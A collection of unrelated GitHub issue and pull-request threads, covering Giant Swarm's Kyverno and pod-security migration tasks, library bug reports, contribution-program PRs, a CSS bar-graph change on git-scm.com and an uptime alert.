Dashboard link - non-compliant apps: https://giantswarm.grafana.net/d/e5SZJRo4z/security-teams-overview?orgId=1&var-team=honeybadger&var-category=All&var-policy=All&var-app=All&var-deployment=All&var-daemonset=All
Also, info from Zach:
Questions

when we should be ready with our apps to pass kyverno-pss validation?
Can we entirely remove PSPs from our apps (and not just make them conditional on the API version) and assume it's OK to use admin level PSP by definition everywhere, as bad stuff will be blocked by kyverno anyway?

Answers:

The "hard" deadline is v20 because that's when PSPs will be gone and we'll have only Kyverno. The beta will be this month https://github.com/giantswarm/giantswarm/issues/26694, but kyverno won't be enforcing in beta
Kyverno is only auditing prior to v20, so PSPs should still be there. If you don't include one, you'll get the default restricted PSP, so it depends on your applications. If you don't actually need any privileges not granted by restricted then sure, you don't need to ship a PSP at all and can just accept the default one.

TODO

app-admission-controller: https://github.com/giantswarm/app-admission-controller/pull/318
app-exporter: https://github.com/giantswarm/app-exporter/pull/334
app-operator: done in https://github.com/giantswarm/app-operator/pull/1023
cluster-apps-operator: https://github.com/giantswarm/cluster-apps-operator/pull/362
config-controller: https://github.com/giantswarm/config-controller/pull/278
flux-app:

https://github.com/giantswarm/flux-app/pull/206
https://github.com/giantswarm/management-cluster-bases/pull/19

also see https://github.com/giantswarm/giantswarm/issues/27335

All apps have been released

authors: kubasobon piontec weatherhog


text:
ingress-nginx: support CAPZ provider

https://gigantic.slack.com/archives/C02GLN41UP2/p1704891555705479

https://github.com/giantswarm/ingress-nginx-app/pull/587

https://github.com/giantswarm/ingress-nginx-app/releases/tag/v3.5.0

authors: ubergesundheit weatherhog


text:
Skip migration of k8s-initiator-app

User Story
As a cluster-admin i want to prevent the k8s-initiator-app to be migrated to CAPA clusters. The application should be running only on Vintage nodes and will be decomissioned together with the cluster. The migration CLI should skip the application configmap migration as well as the App CR itself, restricting it only to Vintage clusters, enabling the seemless experience during the migration and used features.
Acceptance Criteria

[ ] The configmap as well as App CR of the k8s-initiator-app is not migrated towards CAPA cluster in the CLI
[ ] The application is still running on the Vintage nodes alongside CAPA

Dependencies (optional)

The migration of managed-applications is handled by following CLI: https://github.com/giantswarm/app-migration-cli/

Tasks (optional)

[ ] Adjust migration of the k8s-initiator-app in https://github.com/giantswarm/app-migration-cli/

Implementation details

implemetation info

https://github.com/giantswarm/app-migration-cli/blob/40d59e3ecd760d6cde5713383fbe74336841bb74/pkg/apps/apps.go#L50
It is already implemented here

authors: T-Kukawka bdehri


text:
Update to trivy-operator v0.1.0

Checklist

[x] Update changelog in CHANGELOG.md.
[ ] Make sure values.yaml and values.schema.json are valid.

Tested on ghost and in a WC. Seems to be fine in both, no errors in logs and reports are created, no errors in exporter

repo: giantswarm/trivy-operator-app


text:
Fix readme

fixes #1

Thanks, and I'm sorry that I have not been aware of your pull request so long time...

no problem :)

authors: gifnksm pfasante

repo: gifnksm/generic-matrix-rs


text:
table name quoted wrong

Hi, i'm using sqlalchemy-monetdb against monetdb.
and I met a problem when running a select statement, the error is :
OperationalError: (pymonetdb.exceptions.OperationalError) SELECT: no such table 'abc_ds2_EJB09S'
[SQL: u'SELECT "ID" \nFROM "abc_ds2_EJB09S"\nLIMIT 10 OFFSET 0']
it seems the table name is quoted with double-quote, but i think it is incorrect. the table does exist and my  traditional way(combine sql manually) works.

hi @kevenli sorry for the delay. Is this still an issue for you? If so can you state which pymonetdb and sqlalchemy-monetdb version you are using? and what is the python code you use?

closing this issue since probably not a problem with this dialect. Please reopen if the problem is not solved.

authors: gijzelaerr kevenli

repo: gijzelaerr/sqlalchemy-monetdb


text:
Allow write::Object to be written into pre-allocated buffer

The problem is Object::write allocates and writes everything into internal BytesMut and returns Vec<u8>. The issue is that it is not possible to create image without additional copy into target memory (e.g. to be protected with mmap).
Is it possible to introduce a method that will use a push type of writing of the image (e.g. std::io::Write)? It will be nice to get a total size of the image beforehand and pre-allocate target memory, similar to what is happening at pub(crate) fn xxx_write() methods.

Writing via a trait would be fine. I think pre-allocation should be a fallible method of that trait so that we don't complicate the size calculations. So it would need methods for:

allocate
write
len (for debug asserts)
(maybe other BytesMut methods, but I don't think we use more during the final object writing)

Note that another source of copies is the section data. Currently each section has a Vec that symbol data must be copied into. Avoiding copies for the section data too would be nice, but I think that will be more complicated. (e.g. the objcopy example should be able to mmap the input and copy directly to the output instead of going via a Vec).

authors: philipc yurydelendik

repo: gimli-rs/object


text:
Support Aarch64_Ilp32 architecture for mac

as used by arm64_32-apple-watchos compile target (tier 3 platform).
Rust issue: https://github.com/rust-lang/rust/issues/111217

Sorry about the rustfmt - I have fixed it.

Released in 0.31.1

authors: philipc vladimir-ea


text:
Data returned from Library is not usable

Hello,
First of all, thank you for putting this together!
I added it to my project using Swift Package Manager and was able to use it to make calls to the Ergast API and print the resulting objects.
The problem is that the only object that is returned is the top-level one, and nothing else is accessible.
For example if I tried to get Circuit info for 2021, my code would be:
Formula1API.circuits(for: .year(2021))  {  result in     switch result {         case .success(let circuits):             print(circuits)         case .failure(let error):             print(error)     } }
This works...BUT the "circuits" object can't be accessed (for example, I can't reach its "data" property because it is set to "internal" access-level only).
Unless I'm missing a step, this means I can't unpack the Circuits to get to an individual Circuit (or use the object in any other way).
I'd appreciate any help or guidance you can provide.
Thank you,
Marco

Hi Marco! Thanks for checking it out, my pleasure!
I actually ran into this while working with it recently myself... I'll address this and get it fixed soon 👍🏽

As it turns out, this commit   provides public access to the Circuits endpoint structs. I'll refer this ticket when I open a PR for the rest

Thanks for your patience @marcousa! So here's an example that fetches all circuits, with a list of 5 per page :
class CircuitsProvider: ObservableObject {
    @Published var circuits: [Circuit] = .init()
    private let limit = "5"

    func fetchCircuits() {
        Formula1API.circuits(for: .all, limit: limit) { result in
            switch result {
            case let .success(response):
                self.circuits = response.data.circuitTable.circuits
            case let .failure(error):
                print("error")
            }
        }
    }

    func item(at index: Int) -> String {
        guard index < circuits.count else { return "" }
        return circuits[index].circuitName
    }

    init() {
       fetchCircuits()
    }
}

authors: gionoa marcousa


text:
Changement de date intempestif sur le formulaire de convention

:bug: Le problème
Certains utilisateurs (remontée support + tests Cécile) voient les dates de début et de fin d'immersion se décaler d'une journée en amont lorsque le focus passe sur un autre champ.
Testé en live avec Cécile sur Chrome, qui rencontre en outre des erreurs sur cette page (cela n'a peut-être aucun lien) :

Le problème se produit quelque soit la date (2024 ou 2025).
Gaël ne reproduit pas le bug sur Chrome et les erreurs ne s'affichent pas non-plus dans la console.
:footprints: Étapes pour reproduire

Aller sur le formulaire de convention
Choisir une date de début d'immersion
Sortir du champ (aller sur un autre champ)
La date de début d'immersion s'est décalée d'une journée plus tôt

Idem avec la date de fin d'immersion.
:dart: Comportement attendu
Aucun changement de date ne se produit.

Bug introduit par la résolution de ce ticket: https://github.com/gip-inclusion/immersion-facile/issues/2571
On faisait la conversion dû à la timezone plusieurs fois.

authors: celineung gargagif

repo: gip-inclusion/immersion-facile


text:
DSA : Next Greater Element

Question : Given an array. Find the next Greater Element for every element in the array and return the new arrary

/assign

repo: girlscript/winter-of-contributing


text:
Frontend : CSS custom properties

Description 📜
I want to work on making documentation on CSS custom properties.
Please /assign this to me.
Domain of Contribution 📊

[x] Frontend Dev (HTML, CSS, JS)

/assign

-[x] Documentation

/assign

/assign


text:
Merge Pull Request By Vaishnavi Khurana

Description 📜
Count Minimum Swaps to make array sorted #2660

Type of change 📝

[ ] Au#dio (Should be in mp3 format Includes speech clarity, Concise ,Low distortion)
[ ] Vi#deo (Animations, screen-recordings, presentations and regular explanatory films are all possibilties etc)
[ ] Documentation (Content Creation in the form of codes or tutorials)
[ ] Other (If you choose other, Please mention changes below)

Domain of Contribution 📊

[ ] Android Dev #(Flutter)
[ ] Android Dev #(Java)
[ ] Android Dev #(Kotlin)
[ ] Backend Dev #(Java)
[ ] Backend Dev #(.NET)
[ ] Backend Dev #(PHP)
[ ] Backend Dev #(Python)
[ ] C/#CPP
[ ] Competitive #Programming
[ ] Cyber #Security
[ ] DSA
[ ] Data#base
[ ] Datascience with #Python
[ ] Datascience with #R
[ ] Frontend Dev #HTML/CSS/JS
[ ] Frontend Dev #React/Angular/Vue
[ ] Go#lang
[ ] Interview #Prep
[ ] Java_#Domain
[ ] Java#Script
[ ] ME#RN
[ ] Machine #Learning
[ ] Open #Source
[ ] Python_#Domain
[ ] Ru#st
[ ] Statis#tics
[ ] UI/#UX

Checklist ✅

[ x] I follow Contributing Guidelines & Code of conduct of this project.
[x ] I have performed a self-review of my own code or work.
[x ] I have commented my code, particularly in hard-to-understand areas.
[x ] My changes generates no new warnings.
[x ] I'm GWOC'21 contributor

Screenshots / Gif (Optional) 📸

Issue is repetitive and the PR has merge conflicts so closing it. Thank you for your contribution.


text:
Spiral Matrix Program

Description 📜
A program to traverse spirally in a matrix.
Fixes #1921

Type of change 📝

[x] Doc#umentation (Content Creation in the form of codes or tutorials)

Domain of Contribution 📊

[x] Competitive #Programming

Checklist ✅

[x] I follow Contributing Guidelines & Code of conduct of this project.
[x] I have performed a self-review of my own code or work.
[xI have commented my code, particularly in hard-to-understand areas.
[x] My changes generates no new warnings.
[x] I'm GWOC'21 contributor

@ravireddy07 This is my new PR.

i think you missed the explanation @yellowberard

I have done indentation also and made all the changes.

I have done indentation also and made all the changes.

I don't see an explanation.

@ravireddy07 I have added the explanation. Sorry for the delay.

just add the formatted code to the doc, The code structure is bad to see @yellowberard

I have done the indentation in doc and also formatted the code online.

@ravireddy07 please accept the  PR and if any changes required please let me know.

@ravireddy07 please accept the PR and if any changes required please let me know.

Update the Status in PR tracksheet, it will be merged.

@ravireddy07 Where can I find PR track sheet?

@ravireddy07 Where can I find PR track sheet?

In Discord, Check #general channel's pinned messages. or just mention me in that channel...i'll share the link

@ravireddy07 I have added my PR in The Track sheet.

@ravireddy07 I have added my PR in The Track sheet.
Yup, it will be merged by supervisor. Mention anyone in discord, for faster action.


text:
Django_vs_Flask_What_is_the_difference_??_#7971

Description 📜
In this document, I compared the two most popular web dev frameworks of Python that is Django & Flask.

I have first given a basic definition of each.
What features / unique abilities does one give to the developer.
I have also listed the advantages and disadvantages of each.
I have also created a 2 COLUMN table for showing the differences using markdown if one wants to know the differences
quickly but not read the whole thing.
I have also listed popular websites which use either of the frameworks. eg -Reddit, Netflix, Lyft using Flask & Udemy,
Coursera using Django.
And in the end, I have also written which is better?

Type of change 📝

[ ] Documentation (Content Creation in the form of codes or tutorials)

Domain of Contribution 📊

[ ] Python_Domain

Checklist ✅

[x] I follow Contributing Guidelines & Code of conduct of this project.
[x] I have performed a self-review of my own code or work.
[x] I have commented my code, particularly in hard-to-understand areas.
[x] My changes generates no new warnings.
[x] I'm GWOC'21 contributor

Screenshots 📸

@adityabisoi  Please take a look and tell  if any changes are needed

Plz rag a mentor for review

@queenish001 please take a look and tell if any changes are needed

authors: Cyber-Prajwal adityabisoi


text:
Error starting GIT - libcrypto.so not found

-I’ve just installed git-2.3.7.15 for TNS/E on HP NonStop in OSS. When we try to start it up to configure it we get the following error:
/user/sollys: git
*** RLD ERROR ***: FileSystem Error 11: File /G/SYSTEM/ZDLL/libcrypto.so NOT Fou
nd
/bin/-sh: /bin/git: tdm_execve(): failed with unexpected error
pr_errno=(4022) pr_TPCerror=(75) pr_TPCdetail=(11)
I’m assuming this is due to the version I’ve installed being hardcoded to use OPENSSL. Is this the case?

This issue tracker is dedicated to the git-scm.com website.
The issue you have raised is related to the Windows port of the git program. Please see https://git-for-windows.github.io/ for reporting bugs.

It's actually HP NonStop. Most of the discussion for that port happens on the mailing list. See https://git-scm.com/community.

authors: jnavila peff sollysj


text:
small-and-fast: show bar graphs with  and CSS

Instead of relying on Google Graph, or any other service to draw the
graphs, draw them with pure HTML  and some CSS.
Fixes https://github.com/git/git-scm.com/issues/1862.
Looks fairly decent on Firefox:

And Chromium:

I didn't get the tooltip working (fully) yet, if that's something we're looking for.

@To1ne do you have screenshots, too? Or are you deploying to https://To1ne.github.io/git-scm.com/?

do you have screenshots, too?

@dscho Screenshots added.

Or are you deploying to https://to1ne.github.io/git-scm.com/?

If only I knew how?

do you have screenshots, too?

Screenshots added.

This looks so awesome! And it is really clever to do that with CSS only!

Or are you deploying to https://to1ne.github.io/git-scm.com/?

If only I knew how?

Ah, I see, there is a failed deployment. That's because it tries to build it as a Jekyll site, which is the default on GitHub.
Here is a complete set of steps how to deploy in your own fork (and yes, I should add this to the README.md, I just realized!):

In Settings > Actions > General, ensure that GitHub Actions are enabled.

In Settings > Pages, under the heading Build and deployment, switch the Source from Deploy from a branch to GitHub Actions

Push your changes to the gh-pages branch. This push should trigger a run of the deploy workflow.
Alternatively, you could make sure that the default branch contains that .github/workflows/deploy.yml file, then navigate to the deploy workflow and trigger it manually on your branch by clicking the Run workflow ▼ button.

The workflow run should appear on the deploy workflow page.

The only thing I am unsure about is whether the current redirect from https://to1ne.github.io/ to https://iotcl.com/ would continue to work. It might require a new repository at https://github.com/to1ne/to1ne.github.io/ with a 404.html page whose contents would imitate what we do here with aliases.

I didn't get the tooltip working (fully) yet, if that's something we're looking for.

I had a look, and it does not seem as if <progress> supports :hover fully. At least when I try this in Firefox, it does not do anything.
So I looked and it seems that the <progress> element does not react to the :hover pseudo-class because it is a replaced element. Replaced elements, such as <progress>, <input>, and <textarea>, have their own intrinsic dimensions and rendering rules, which are defined by the browser and not by CSS. As a result, they do not respond to certain CSS pseudo-classes like :hover in the same way that non-replaced elements do.
What did work was to insert dd:hover, but unfortunately that only allowed to change properties of the <progress> element, but not to add the tooltip because ::after is only supported on <progress> elements on WebKit.
So maybe we should just forget about the tool-tip for now? Or do some Javascript trickery.

Push your changes to the gh-pages branch. This push should trigger a run of the deploy workflow.

Ah, that's the trickery you were doing?

3. Push your changes to the gh-pages branch. This push should trigger a run of the deploy workflow.

Ah, that's the trickery you were doing?

Yup 😏

What did work was to insert dd:hover

Maybe this idea could work: Add the value attribute to the span, and then use a progress:has(+ .span) trickery to set the <progress> element's value as we as dd:hover .span::after to show the tooltip?

@dscho I ditched the idea for having tooltips (for now) and cleaned up the code. What do you think, is this worth merging to get at least something shown on the page again?

Deploys aren't working by the way, GitHub probably doesn't like me:

Deploys aren't working by the way

On https://github.com/To1ne/git-scm.com/settings/pages, do you see this?

If "Deploy from a branch" is selected, then I understand the symptoms. If "GitHub Actions" is selected, I don't.

I ditched the idea for having tooltips (for now) and cleaned up the code.

Thank you!
I did play a little with the idea of pure-CSS progress bars, but thanks to height: attr(value) not working (but height: var(--value) does work) and vice versa content: attr(value) not working (because reasons, and content: var(--value) works only if that CSS property is set to a string, and there are no casts in CSS), there is quite a bit of duplication there: https://jsfiddle.net/dt3gkufe/2/. Likewise, I was not able to overwrite the <span>'s contents with the class name. Essentially, I have to have redundant --value and --tooltip, where the former is a floating point value and the latter is a string, and also redundant class and <span> contents, to make it work.

What do you think, is this worth merging to get at least something shown on the page again?

Yes, that sounds like the best idea. I will merge it.

I did play a little with the idea of pure-CSS progress bars, but thanks to height: attr(value) not working (but height: var(--value) does work) and vice versa content: attr(value) not working (because reasons, and content: var(--value) works only if that CSS property is set to a string, and there are no casts in CSS),

@dscho That has been bugging me in the past as well.

there is quite a bit of duplication there: https://jsfiddle.net/dt3gkufe/2/.

I don't think it's that bad. Actually, really nice work.

Likewise, I was not able to overwrite the 's contents with the class name. Essentially, I have to have redundant --value and --tooltip, where the former is a floating point value and the latter is a string, and also redundant class and  contents, to make it work.

Well my solution also has that duplication, so that's not that bad.

@To1ne FWIW I'm a bit out of time so I won't be playing with this for quite a while, just in case you wondered 😉

FWIW I'm a bit out of time so I won't be playing with this for quite a while, just in case you wondered 😉

@dscho To be honest, I don't care enough to try to fix it further.
But... it's broken on mobile:

I think that's easily fixable with css grid.


text:
【BUG】如果通过https访问博客地址，则无法将gittalk初始化出来！

经测试如果博客地址被替换成https的访问形式，则评论插件不再显示。网页错误提示：https://api.github.com/user 401 (Unauthorized)
通过修改 app callback url为https发现也不起作用，求问如何解决？

解决了，把原来生成的issue删除就可以了

repo: gitalk/gitalk


text:
🛑 invidious.kavin.rocks is down

In cc9bd2f, invidious.kavin.rocks (https://invidious.kavin.rocks/) was down:

HTTP code: 502
Response time: 2156 ms

Resolved: invidious.kavin.rocks is back up in d36efc4.

repo: gitetsu/invidious-instances-upptime